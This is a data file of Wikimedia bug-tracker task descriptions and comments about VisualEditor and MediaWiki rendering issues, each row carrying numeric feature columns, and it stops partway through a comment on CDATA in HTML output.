+244549,"VisualEditor: Deletion across a header caused it to remain without WS, leading Parsoid to output ""==<nowiki/>==""","Or we have a system for flagging up formatting irregularities (e.g. markers in the margin), which could also flag up other violations of formatting conventions (e.g. double linebreaks).",,,1373987554,,PHID-USER-it53o2f2kyryqyj33uzt,False,,,PHID-TASK-xd4kljcgqcwzmsvbid4p,task_subcomment,,True,c1,3,True,,,2,,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,1,0,1,1,0,0,0,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,1,0,1,1,0,0,0,0,1,0,0,0,1,1,0,0,0,0,1,0,1,1,0,1,0,0,0
+244540,"VisualEditor: Deletion across a header caused it to remain without WS, leading Parsoid to output ""==<nowiki/>==""","I'm not sure we should be deleting empty headings. The user may want to delete all the contents of a heading and replace it (or select-all then type, which would perform the same operations internally).
+
+More generally we don't delete paragraphs when they are empty, unless the user presses backspace again, so doing so for just headings would be a confusing user experience.
+
+Perhaps a solution would be for Parsoid to strip empty blocks (provided they weren't that way to begin with)?",,,1373987470,,PHID-USER-it53o2f2kyryqyj33uzt,False,,,PHID-TASK-xd4kljcgqcwzmsvbid4p,task_subcomment,,True,c1,3,True,,,2,,1,0,0,0,1,1,1,0,0,1,0,1,0,0,0,1,0,1,1,0,1,1,0,0,1,0,0,0,1,1,0,1,0,1,0,0,0,1,1,0,0,1,1,1,0,1,0,0,0,1,0,1,1,1,0,0,0,1,0,0,1,0,0,0,1,0,0,1,1,1,1,1,1,0,0,0,0,1,0,0,0,1,1,1,1,0,0,1,0,1,1,0,1,1,0,0
+244531,"VisualEditor: Deletion across a header caused it to remain without WS, leading Parsoid to output ""==<nowiki/>==""",%%%*** Bug 51417 has been marked as a duplicate of this bug. ***%%%,,,1373938091,,PHID-USER-ttyyrgsrkyonct7hizgv,False,,,PHID-TASK-xd4kljcgqcwzmsvbid4p,task_subcomment,,True,c1,3,False,,,2,,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,0,1,1,0,0,1,1,0,0,1,0,0,0,1,0,0,0,0,0
+244523,"VisualEditor: Deletion across a header caused it to remain without WS, leading Parsoid to output ""==<nowiki/>==""",*** Bug 50313 has been marked as a duplicate of this bug. ***,,,1373154763,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-xd4kljcgqcwzmsvbid4p,task_subcomment,,True,c1,3,True,,,0,,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0
+52093,Use [[ as a 'hotkey' trigger for opening the 'create a link' dialog,"Some experienced editors are complaining that writing in VE is slower for them now, because they have to use the toolbar. They are requesting to be able to use wikicode from within the VE.
+
+Instead of fully introducing wikicode into the edit mode as some people have requested, I have a different idea. What if we use [[ and {{ as hotkeys to open the insert link and insert template dialogs ? When detecting this combination, the editor could automatically remove this characters from the editsurface and present the dialog to the user. Then the user can keep typing, greatly speeding up the time to author a sentence.
+
+These are by far the most used insertions I presume. File and external links are much less common, and I don't see how you could easily have a hotkey like supo
+
+I think that would solve much of the concerns that have been mentioned.
+
+--------------------------
+**Version**: unspecified
+**Severity**: enhancement",Medium,50.0,1372078500,1416971243.0,PHID-USER-wrimmmr5w2zt7nk2t753,False,PHID-USER-ydswvwhh5pm4lshahjje,True,PHID-TASK-ui3plx4slven33rbf4id,task_description,resolved,True,c1,2,True,False,False,-1,,1,0,1,1,1,1,1,1,0,1,1,1,0,0,0,1,0,1,1,0,1,0,0,0,0,0,0,1,1,1,0,1,1,0,1,1,0,0,0,1,0,1,1,1,0,1,0,1,0,1,1,1,0,1,0,0,0,1,1,0,1,1,0,1,0,1,1,1,1,1,1,1,1,0,0,0,0,1,0,0,0,1,1,1,1,0,0,1,0,1,1,1,1,1,1,1
+339567,Use [[ as a 'hotkey' trigger for opening the 'create a link' dialog,"'[[' triggers Link insertion; '{{' - inserts Template.
+
+Verified in beta/test2/production",,,1418076035,,PHID-USER-4alekd35in5tg53zpsl4,False,,,PHID-TASK-ui3plx4slven33rbf4id,task_subcomment,,True,c1,3,True,,,75,,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,1,0,0,0,0,0,0,0,0,0,1
+337424,Use [[ as a 'hotkey' trigger for opening the 'create a link' dialog,ZOMG!,,,1418036506,,PHID-USER-wil4b5lylrvf3krixlkl,False,,,PHID-TASK-ui3plx4slven33rbf4id,task_subcomment,,True,c1,3,False,,,75,,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,1,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0
+333294,Use [[ as a 'hotkey' trigger for opening the 'create a link' dialog,"Change 175910 merged by jenkins-bot:
+Provide '[[' and '{{' to trigger the appropriate window open actions
+
+[[https://gerrit.wikimedia.org/r/175910]]",,,1416966721,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-ui3plx4slven33rbf4id,task_subcomment,,True,c1,3,False,,,73,,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,1,0,1,0,1,1,0,0,0,0,1,0,1,0,0,1,1,0,1,0,0,1,0,0,0,0,0,0,1
+333277,Use [[ as a 'hotkey' trigger for opening the 'create a link' dialog,"Change 175910 had a related patch set uploaded (by Jforrester):
+Provide '[[' and '{{' to trigger the appropriate window open actions
+
+[[https://gerrit.wikimedia.org/r/175910]]
+
+#patch-for-review",,,1416964645,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-ui3plx4slven33rbf4id,task_subcomment,,True,c1,3,False,,,73,,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,1,0,1,0,1,1,0,0,0,1,1,0,1,0,0,1,1,0,1,0,0,1,0,1,0,0,0,0,1
+333250,Use [[ as a 'hotkey' trigger for opening the 'create a link' dialog,This is no longer catastrophically expensive to do. Yay.,,,1416960372,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-ui3plx4slven33rbf4id,task_subcomment,,True,c1,3,True,,,73,,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,1,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,1,0,0,1,0,0,0,0,1,0,0,0,1,1,0,0,0,0,1,0,0,0,0,0,1,0,0
+244117,Use [[ as a 'hotkey' trigger for opening the 'create a link' dialog,"I think in general this is a bad idea to do inside VisualEditor, as Brion's comments expand quite nicely. Consequently, I'm marking this as a WONTFIX.
+
+However, yes, of course communities should feel free to write a gadget to do such a thing if you think helpful - but working with us to make VisualEditor better (rather than adding hacks) sounds like a better use of people's time.",,,1372879524,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-ui3plx4slven33rbf4id,task_subcomment,,True,c1,3,True,,,0,,0,0,0,0,0,1,1,0,0,1,1,1,0,0,0,1,0,1,1,0,1,1,0,0,0,0,0,1,0,0,0,1,1,0,1,1,0,0,0,0,0,0,0,1,0,0,0,0,0,1,1,1,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,1,0,0,1,1,1,0,0,0,1,0,0,1,1,1,1,0,0
+244108,Use [[ as a 'hotkey' trigger for opening the 'create a link' dialog,"Typing in the VE should .... just type. ""Markup"" that gets input should just be treated as text, just like when we type ""<gallery>"" into a Bugzilla bug title and expect it to say ""<gallery>"" on the other side.
+
+Of course a gadget that listens for ""[["" and triggers the dialog might be spiffy for power users who just like brackets :), but I wouldn't recommend building it in.",,,1372786202,,PHID-USER-yek7ymogrv4qc67oilhf,False,,,PHID-TASK-ui3plx4slven33rbf4id,task_subcomment,,True,c1,3,False,,,0,,0,0,0,1,1,1,1,0,0,0,1,1,0,0,0,1,0,1,1,0,1,1,0,0,0,0,0,0,1,1,0,1,1,1,1,0,0,0,1,1,0,0,0,0,0,1,0,1,0,1,1,0,0,1,0,0,0,0,1,0,0,1,0,1,0,1,0,1,1,1,1,1,1,0,1,0,0,1,0,0,0,1,1,1,0,1,0,1,0,1,1,0,1,0,0,1
+244100,Use [[ as a 'hotkey' trigger for opening the 'create a link' dialog,I think this is a wider issue of how the VE treats people trying to put markup in.,,,1372349396,,PHID-USER-j5ma2nageni56xp567v5,False,,,PHID-TASK-ui3plx4slven33rbf4id,task_subcomment,,True,c1,2,False,,,-1,,0,0,0,0,0,1,1,0,0,0,1,0,0,0,0,1,0,0,1,0,1,0,0,0,0,0,0,0,0,0,1,1,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,1,1,1,1,0,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,0,1,1,0,1,1,0,0
+244096,Use [[ as a 'hotkey' trigger for opening the 'create a link' dialog,"It's not required for new users to use the toolbar.  In VE, there is a concept of  hotkeys.  For creating a link use command+k (mac) or control+k (pc)",,,1372091407,,PHID-USER-pun3sjvg3cemjzbgyo2t,False,,,PHID-TASK-ui3plx4slven33rbf4id,task_subcomment,,True,c1,2,False,,,-1,,0,0,0,0,1,1,1,0,0,0,1,1,0,0,1,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,1,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,0,0,1,0,1,0,0,0
+52075,VisualEditor: Reflist columns parameter getting ignored/changed for display,"Compare the number of columns in https://en.wikipedia.org/wiki/Kartik_Poornima in read and VEdit mode.
+
+--------------------------
+**Version**: unspecified
+**Severity**: minor",Medium,50.0,1372035540,1373929765.0,PHID-USER-j5ma2nageni56xp567v5,False,,False,PHID-TASK-zkfo43fncbploqynkreq,task_description,resolved,True,c1,2,False,False,True,-1,,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,1,1,0,0,0,0,1,0,0,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,0
+243034,VisualEditor: Reflist columns parameter getting ignored/changed for display,This was probably fixed by the suite of changes in CE's munging of CSS two weeks ago.,,,1373929765,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-zkfo43fncbploqynkreq,task_subcomment,,True,c1,3,True,,,2,,0,0,0,1,0,0,0,0,0,0,1,1,0,0,0,0,0,1,1,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,1,1,0,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0
+243030,VisualEditor: Reflist columns parameter getting ignored/changed for display,"Me neither.
+https://en.wikipedia.org/wiki/Kartik_Poornima?veaction=edit
+https://en.wikipedia.org/wiki/Kartik_Poornima?action=edit&preview=yes",,,1373929587,,PHID-USER-sryrz6tgcfnnsiddx32p,False,,,PHID-TASK-zkfo43fncbploqynkreq,task_subcomment,,True,c1,3,False,,,2,,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,1,0,0,1,0,0,0,0
+243027,VisualEditor: Reflist columns parameter getting ignored/changed for display,Can't reproduce (not anymore at least). Can you?,,,1373929392,,PHID-USER-sai77mtxmpqnm6pycyvz,False,,,PHID-TASK-zkfo43fncbploqynkreq,task_subcomment,,True,c1,3,True,,,2,,0,0,0,0,1,1,0,0,0,0,0,1,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,1,0,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,1,1,0,1,0,0,1,0,0,0,0,0,0,1,0
+52074,VisualEditor: clicking on a template in the reference inspector causes odd blue shadowing,"Screenshot
+
+See screenshot.
+
+--------------------------
+**Version**: unspecified
+**Severity**: minor
+**See Also**:
+https://bugzilla.wikimedia.org/show_bug.cgi?id=49818
+
+**Attached**: {F11448}",Medium,50.0,1372035240,1372118661.0,PHID-USER-j5ma2nageni56xp567v5,False,,False,PHID-TASK-xeya3bpycvyi4743gzho,task_description,resolved,True,c1,2,False,False,True,-1,,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0
+242983,VisualEditor: clicking on a template in the reference inspector causes odd blue shadowing,*** Bug 49768 has been marked as a duplicate of this bug. ***,,,1373155495,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-xeya3bpycvyi4743gzho,task_subcomment,,True,c1,3,True,,,0,,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0
+242976,VisualEditor: clicking on a template in the reference inspector causes odd blue shadowing,"
+
+%%%*** This bug has been marked as a duplicate of bug 49818 ***%%%",,,1372118661,,PHID-USER-pun3sjvg3cemjzbgyo2t,False,,,PHID-TASK-xeya3bpycvyi4743gzho,task_subcomment,,True,c1,2,False,,,-1,,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,0,1,1,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0
+52069,VisualEditor: Unreferenced section template not displaying properly,"See screenshot; problem with the template or with the parsing of it?
+
+--------------------------
+**Version**: unspecified
+**Severity**: normal",Medium,50.0,1372033980,1373155344.0,PHID-USER-j5ma2nageni56xp567v5,False,,False,PHID-TASK-jxgfjh6zrpct7dssxnsk,task_description,resolved,True,c1,2,False,False,True,-1,,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,1,1,0,0,0,0,1,0,0,0,1,1,1,1,0,0,1,0,0,0,0,0,0,0,0
+242696,VisualEditor: Unreferenced section template not displaying properly,"This turned out to be a problem with the template which we fixed by editing said template. See bug 44452 for more details.
+
+*** This bug has been marked as a duplicate of bug 44452 ***",,,1373155344,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-jxgfjh6zrpct7dssxnsk,task_subcomment,,True,c1,3,True,,,0,,0,0,0,1,0,1,1,0,0,0,1,0,0,0,0,1,0,0,1,0,1,0,0,0,1,0,0,0,0,0,0,1,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,1,0,0,0,1,0,0,0,0,0,0,1,0,0,1,1,1,0,0,1,0,0,0,0,1,0,1,0,1,1,0,0,0,0,1,0,1,1,0,0,1,0,0
+242690,VisualEditor: Unreferenced section template not displaying properly,"(In reply to comment #3)
+> Try https://en.wikipedia.org/wiki/Riddler#Fictional_character_biography
+
+Seems to be a problem with {{unreferenced section}}; {{unreferenced|section}} works just fine. Can't work out why, though.",,,1372083906,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-jxgfjh6zrpct7dssxnsk,task_subcomment,,True,c1,2,True,,,-1,,0,0,0,0,1,1,1,0,1,0,1,1,0,0,0,0,0,1,1,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,1,0,1,0,1,0,0,0,0,1,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,1,0,1,0,0,0,1,1,0,1,0,0,1,1,0,0,0,0,1,1,1,0,0,0,0,1
+242684,VisualEditor: Unreferenced section template not displaying properly,Try https://en.wikipedia.org/wiki/Riddler#Fictional_character_biography,,,1372083632,,PHID-USER-j5ma2nageni56xp567v5,False,,,PHID-TASK-jxgfjh6zrpct7dssxnsk,task_subcomment,,True,c1,2,False,,,-1,,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0
+242678,VisualEditor: Unreferenced section template not displaying properly,"I can't reproduce this - what page did it appear on (or was it all of them?).
+
+Example URLs that work for me:
+
+https://en.wikipedia.org/wiki/4th_Cinemalaya_Independent_Film_Festival?veaction=edit (page)
+
+https://en.wikipedia.org/wiki/User:Jdforrester_(WMF)/Sandbox?veaction=edit (section)",,,1372083538,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-jxgfjh6zrpct7dssxnsk,task_subcomment,,True,c1,2,True,,,-1,,1,0,0,0,1,0,0,0,0,0,0,1,0,0,0,1,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,1,0,1,0,0,1,0,1,0,0,1,0,1,0,0,0,1,0,1,1,0,0,0,0,0,0,1,0,0,1,0,0,0,0,1,0,0,1,1,0,1,1,0,0,0,0,1,0,0,0,1,1,1,1,0,0,1,1,1,0,1,0,0,0,0
+242674,VisualEditor: Unreferenced section template not displaying properly,"Screenshot
+
+Moron features forgot to attach the screenshot.
+
+...he has now remembered to attach the screenshot.
+
+Have a screenshot.
+
+**Attached**: {F11438}",,,1372034067,,PHID-USER-j5ma2nageni56xp567v5,False,,,PHID-TASK-jxgfjh6zrpct7dssxnsk,task_subcomment,,True,c1,2,False,,,-1,,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,1,0,0,0,1,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,1,0,0,0,0,0,1,0,1,0,0,0,1,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,0,0,1,0,0,0,0,0
+52052,"VisualEditor: Mis-nested annotations are cleaned up, leading to a dirty diff","...and quite dramatically - take a look at https://en.wikipedia.org/w/index.php?title=Modified_discrete_cosine_transform&diff=561051085&oldid=558725133
+
+--------------------------
+**Version**: unspecified
+**Severity**: normal
+**See Also**:
+T50830",Medium,50.0,1371995700,1642380969.0,PHID-USER-j5ma2nageni56xp567v5,False,PHID-USER-wkpnidxoctuhawexig5p,False,PHID-TASK-vrnyctiie6ntzdrqt77a,task_description,resolved,True,c1,2,False,False,False,-2,,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,1,0,1,0,1,1,0,0,0,0,1,0,0,0,0,1,1,0,0,0,0,1,0,1,0,0,0,0,0
+1845921,"VisualEditor: Mis-nested annotations are cleaned up, leading to a dirty diff","Parsoid's ""selective serialization"" has been improved greatly since 2013 and this should not be occurring any more, unless content in the same paragraph was changed in the edit. Please re-open if you run into similar dirty diffs that happened within the last year or so.",,,1642380969,,PHID-USER-wkpnidxoctuhawexig5p,False,,,PHID-TASK-vrnyctiie6ntzdrqt77a,task_subcomment,,True,c1,3,True,,,446,,1,0,1,1,1,1,0,0,0,1,1,1,0,0,0,0,0,1,1,0,0,1,1,0,1,0,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,1,0,1,1,0,0,1,0,0,0,1,0,0,0,0,0,0,0,1,0,1,1,1,1,1,1,0,0,0,0,1,1,1,0,1,1,1,0,1,0,1,0,1,0,0,1,1,0,0
+241737,"VisualEditor: Mis-nested annotations are cleaned up, leading to a dirty diff","(In reply to comment #0)
+> ...and quite dramatically - take a look at
+> https://en.wikipedia.org/w/index.
+> php?title=Modified_discrete_cosine_transform&diff=561051085&oldid=558725133
+
+Eurgh. I hate being proven wrong; each of those changes fixes the (entirely-broken, but masked for users by MediaWiki) wikitext; these are the kinds of errors it's not really possible for us to re-implement.
+
+Specifically, <i>Foo <sup>Bar</i> Baz</sup> is definitely broken HTML (mis-nested annotations), and I don't think it's necessarily a bad thing that we fix these. Obviously it'd be much better if we had a bot do a massive run over the corpus and fix these for users now, rather than have them blame VE, but that's not going to happen. :-(
+
+Punting to Roan for thoughts, but I think this is probably a lost cause.
+
+(In reply to comment #1)
+> Brad also has a suggestion (along with a bug report) for a workflow to make
+> these easier to identify:
+
+That's going to be done in VisualEditor as part of bug 49761 (well, not that way, because VE can't objectively know what bits of the DOM it ""should"" have just altered unless we have a local copy of MediaWiki :-)) but yes, coming very soon, hopefully.",,,1372000762,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-vrnyctiie6ntzdrqt77a,task_subcomment,,True,c1,2,True,,,-2,,1,0,1,1,1,1,1,1,0,1,1,1,1,0,0,1,0,1,1,0,1,1,0,0,1,0,0,0,0,1,0,1,1,1,1,0,0,0,0,0,0,1,1,1,0,0,1,0,0,1,1,1,0,1,0,0,0,1,1,1,1,1,0,1,1,0,1,1,1,1,1,1,1,0,1,0,1,1,1,1,0,1,1,1,0,1,0,1,1,1,1,1,1,1,0,1
+241733,"VisualEditor: Mis-nested annotations are cleaned up, leading to a dirty diff","Brad also has a suggestion (along with a bug report) for a workflow to make these easier to identify:
+
+""One way to catch this for debugging purposes would be for the VisualEditor to make a note at tuntime of which sections of the article have been edited visually, for the JS code to report this to the server at save time, and then to check on the server side which sections of the article have changed in the wikitext diff. If (a) the section structure of the article remains unchanged from before the edit, and (b) there are wikitext differences in sections that have not been changed by the editor in visual mode, then something's clearly gone wrong, and the edit session should be auto-reported to the programming team. (Please don't try to use this idea as an error concealment technique: these errors shouldn't occur, as every one of them reveals some sort of bug, either in the code or the data model, and hiding them would make the software more, rather than less brittle.)""",,,1371996216,,PHID-USER-j5ma2nageni56xp567v5,False,,,PHID-TASK-vrnyctiie6ntzdrqt77a,task_subcomment,,True,c1,2,False,,,-2,,1,1,0,1,1,1,1,0,0,1,1,1,0,0,1,0,1,1,1,1,1,1,0,1,0,0,1,0,0,1,0,1,1,0,1,0,0,0,0,0,0,1,0,1,1,0,0,1,0,1,0,1,0,1,1,0,0,1,1,0,1,1,0,0,1,1,0,1,1,1,1,1,1,0,0,0,0,1,1,1,0,1,1,1,0,1,0,1,0,1,1,1,1,1,0,1
+52040,Set $wgWellFormedXml = false by default,"The main reason for this still being true was screen-scraping bots (together with $wgHtml5).
+
+For some reason when $wgHtml5 was finally enabled we forgot to also get rid of wgWellFormedXml=true.
+
+We should disable it by default for the same reason we now enable wgHtml5 by default.
+
+This is mainly bugging because of the ""&&"" sign we have as of recently in the default html output, which, due to wgWellFormedXml, causes an ugly CDATA section.
+
+--------------------------
+**Version**: 1.22.0
+**Severity**: normal",Medium,50.0,1371977520,1375143938.0,PHID-USER-sai77mtxmpqnm6pycyvz,False,,False,PHID-TASK-d42ybmk2s2iavorgwpdd,task_description,declined,True,c1,2,True,False,True,-2,,1,0,0,1,0,1,1,1,0,0,1,0,0,0,0,1,0,1,1,0,1,1,0,0,1,0,0,0,0,0,0,1,1,1,0,0,0,1,0,0,0,0,1,1,0,1,0,0,0,1,1,1,0,0,0,0,0,1,0,0,0,1,1,1,1,0,1,1,1,1,1,0,1,0,0,1,0,1,0,1,0,1,1,1,1,1,0,1,0,1,1,0,1,0,0,0
+241013,Set $wgWellFormedXml = false by default,"Change 70036 abandoned by Krinkle:
+Set $wgWellFormedXml to false by default
+
+Reason:
+Agreed, per bug.
+
+https://gerrit.wikimedia.org/r/70036",,,1379404668,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-d42ybmk2s2iavorgwpdd,task_subcomment,,True,c1,3,False,,,11,,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,0
+241006,Set $wgWellFormedXml = false by default,I note btw that the tidy config is also set to produce XHTML.,,,1375782777,,PHID-USER-wrimmmr5w2zt7nk2t753,False,,,PHID-TASK-d42ybmk2s2iavorgwpdd,task_subcomment,,True,c1,3,True,,,5,,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,1,0,1,1,0,1,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,1,1,1,1,0,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,0,0,0,0,0,0,0,0
+241000,Set $wgWellFormedXml = false by default,"I've decided that I don't think this should be done, now or in the future. I think the general idea behind HTML's original SGML -> XML migration, i.e. to make parsers easier to write at the expense of brevity, continues to be sound and useful. The benefits of a reversion to SGML are small, and the costs can be expected to mirror bug 52253.",,,1375143938,,PHID-USER-k6tmz5ylx4rzfl3bitse,False,,,PHID-TASK-d42ybmk2s2iavorgwpdd,task_subcomment,,True,c1,3,True,,,4,,0,0,0,1,1,1,1,0,0,0,1,1,1,0,0,1,0,1,1,0,1,1,0,0,0,1,0,1,1,0,0,1,1,0,1,0,0,0,0,1,0,0,1,1,0,1,0,0,1,1,1,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,0,0,0,1,0,0,1,0,0,1,0,1
+240995,Set $wgWellFormedXml = false by default,"(In reply to comment #2)
+> You could just use <script>if(jQuery)jQuery.ready()</script>, it would be
+> shorter than what you have currently: <script>window.jQuery &&
+> jQuery.ready();</script>
+
+<script>if(window.jQuery)jQuery.ready()</script>, rather. The ""window."" is important here, as we want to keep going even if jQuery is not loaded and thus its variable is not defined.",,,1372758238,,PHID-USER-wkpnidxoctuhawexig5p,False,,,PHID-TASK-d42ybmk2s2iavorgwpdd,task_subcomment,,True,c1,3,True,,,0,,0,0,0,0,1,1,1,0,0,1,1,0,0,0,0,1,0,1,1,0,1,0,0,0,0,0,0,0,1,1,0,1,0,1,1,1,0,0,0,0,0,0,0,0,0,1,0,0,0,1,0,0,0,1,0,0,0,0,1,0,0,1,0,0,0,0,0,1,1,1,1,1,1,0,0,0,1,1,0,1,0,1,1,1,0,1,0,1,0,1,0,0,1,1,0,1
+240990,Set $wgWellFormedXml = false by default,"You could just use <script>if(jQuery)jQuery.ready()</script>, it would be shorter than what you have currently: <script>window.jQuery && jQuery.ready();</script>
+
+In any case, I don't think that CDATA is a particularly inefficient or ugly part of our HTML output, compared to, say,
+
